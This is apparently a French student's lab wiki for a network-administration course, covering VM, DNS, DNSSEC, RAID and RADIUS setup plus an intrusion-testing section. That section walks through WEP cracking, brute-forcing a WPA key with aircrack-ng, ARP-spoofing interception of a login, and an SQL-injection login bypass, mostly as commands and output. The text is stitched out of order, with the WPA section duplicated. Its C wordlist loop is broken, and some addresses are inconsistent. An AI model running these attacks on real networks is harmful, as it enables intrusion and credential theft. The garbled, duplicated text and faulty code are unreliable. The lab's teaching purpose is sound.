0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-15T13:59:38Z

Lchenu : /* Serveur DNS */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

